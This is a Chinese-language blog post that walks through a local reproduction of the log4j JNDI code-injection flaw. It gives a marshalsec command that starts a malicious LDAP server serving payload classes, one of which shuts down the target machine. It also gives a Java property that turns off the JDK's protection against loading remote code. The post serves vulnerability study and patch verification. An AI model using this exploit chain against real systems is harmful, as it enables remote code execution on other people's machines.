前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >log4j代码注入漏洞复现

log4j代码注入漏洞复现

作者头像
余生大大
发布2022-11-02 15:34:33
5200
发布2022-11-02 15:34:33
举报
文章被收录于专栏:余生大大

1.简介

前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机

2.工具准备

https://download.csdn.net/download/AnNanDu/64752930

里面包含2份源代码,两个工具类

  1. log4j-exp:执行被注入代码的客户端服务
  2. web-goodskill:存放注入文件的http服务
  3. 启动ldap的两个服务

3.复现步骤

1. 将注入文件放入http服务并启动测试下载

文件web-goodskill里有两份demo注入文件,一份打开计算器,一份执行关机

测试可以通过服务下载文件,这一步就算可以了

2. 启动ladp服务映射注入文件

进入到下载的工具包中,在地址栏直接打cmd进入命令框

 执行命令:

代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jTest 1389

 启动完成后第二步就完成了

3. log4j2执行注入

IDEA打开log4j-exp找到 log4jRCE 类,执行main方法

 执行结果:

 上面那行输出文字是我们的注入代码里写的输出,证明确实将远程代码执行了

想要执行注入的关机代码放开下一行注释就可以了,需要在上文开启ldap服务的在开启ClearDemo类的端口

本地执行是都可以的,但是在远程客户端执行的时候如果没有这个设置则不会拉取远程代码,这是jdk1.8_u191等几个版本后设置的默认设置,防止ldap注入

代码语言:javascript
复制
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-12-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.简介
    • 2.工具准备
      • 3.复现步骤
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档